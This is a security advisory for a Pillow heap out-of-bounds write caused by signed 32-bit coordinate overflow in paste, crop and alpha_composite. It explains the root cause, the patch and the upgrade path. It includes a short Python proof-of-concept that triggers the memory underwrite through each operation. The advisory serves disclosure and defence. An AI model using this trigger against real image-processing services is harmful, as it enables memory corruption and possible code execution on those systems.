CVE-2026-59199: Pillow Heap Out-of-Bounds Write via Signed Coordinate Overflow
Pillow's image paste, crop, and alpha_composite operations allow an attacker to trigger a heap out-of-bounds write by passing coordinate values near the signed 32-bit integer boundary, corrupting proc
The problem
In Pillow versions before 12.3.0, `ImagingPaste()` in `src/libImaging/Paste.c` computes region dimensions using signed 32-bit `int` arithmetic. With `dx0` near `INT_MAX` and `dx1` at `INT_MIN`, the subtraction `dx1 - dx0` wraps around to a small positive value, passing the bounds check undetected.
The paste loop then multiplies the wrapped offset by `pixelsize` (4 for RGBA) and issues a `memcpy` that writes attacker-controlled pixel bytes before the destination row allocation. The same sink is reachable through `Image.crop()` and `Image.alpha_composite()` without any malformed file or private API.
Proof of concept
A working proof-of-concept for CVE-2026-59199 in Pillow, with the exact payload below.
from PIL import Image
INT_MIN = -(1 << 31)
# Minimal paste trigger: dx1 - dx0 wraps to 2, passes size check,
# then writes 8 bytes 8 bytes BEFORE the destination row allocation.
src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
dst = Image.new("RGBA", (8, 1))
dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))
# Scale the underwrite: source width W -> writes 4*W bytes, 4*W bytes before row
# box = ((1 << 31) - W, 0, INT_MIN, 1)
# Same root cause via Image.crop()
left = INT_MIN + 2
Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))
# Same root cause via Image.alpha_composite()
base = Image.new("RGBA", (8, 1))
over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
base.alpha_composite(over, dest=(INT_MIN + 2, 0))The root cause is CWE-190 (Integer Overflow) feeding CWE-787 (Out-of-bounds Write). Signed 32-bit `int` subtraction in `Paste.c` (`xsize = dx1 - dx0`) wraps when coordinates straddle `INT_MIN`/`INT_MAX`, producing a small positive size that satisfies every clip check.
The downstream `memcpy` then uses the unclipped `dx0` value (still near `INT_MAX`, which after `*= pixelsize` wraps negative) as the byte offset into the destination row, writing before the allocation.
The patch (commit `ceefc348`) widens the subtraction to `int64_t` before any comparison: `int64_t xsize64 = (int64_t)dx1 - dx0`. Values outside `[0, INT_MAX]` are rejected with a `ValueError` before any copy occurs. The same promotion was applied to `ImagingCrop()` in `Crop.c`.
The fix
Upgrade Pillow to 12.3.0 or later (`pip install 'Pillow>=12.3.0'`). The fix in PR #9703 (commit `ceefc348`) changes coordinate-width arithmetic from signed `int` to `int64_t` in both `Paste.c` and `Crop.c`, rejecting any box whose computed size overflows or is negative before any memory operation is attempted.
Related research
- high · 8.2CVE-2026-59197CVE-2026-59197: Pillow Heap Out-of-Bounds Write via Integer Overflow in RankFilter
- high · 7.5CVE-2026-59200CVE-2026-59200: Pillow PdfParser Decompression Bomb DoS
- high · 7.5CVE-2026-59205CVE-2026-59205: Pillow Controlled Heap Out-of-Bounds Write in ImageCmsTransform.apply()
- high · 7.8CVE-2022-46292CVE-2022-46292: Open Babel MOPAC Output Parser Out-of-Bounds Write (UNIT CELL TRANSLATION)